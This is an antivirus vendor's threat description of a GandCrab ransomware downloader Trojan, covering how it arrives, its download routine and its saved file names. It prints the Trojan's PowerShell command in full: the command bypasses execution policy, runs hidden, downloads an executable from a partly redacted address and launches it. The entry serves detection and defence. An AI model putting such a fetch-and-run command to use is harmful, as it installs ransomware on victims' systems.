Trojan.JS.GANDCRAB.THBBGAI

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}.{BLOCKED}.197.153/krabaldento.exe

It saves the files it downloads using the following names:

• %AppDataLocal%\TempYMN28.exe -> detected as Ransom.Win32.GANDCRAB.THBBGAI

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Other Details

This Trojan does the following:

• It uses the following powershell commands to download and execute a malicious file:
  
  • powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://{BLOCKED}.{BLOCKED}.197.153/krabaldento.exe','%temp%YMN28.exe'); & start %temp%YMN28.exe", "", "open", 0)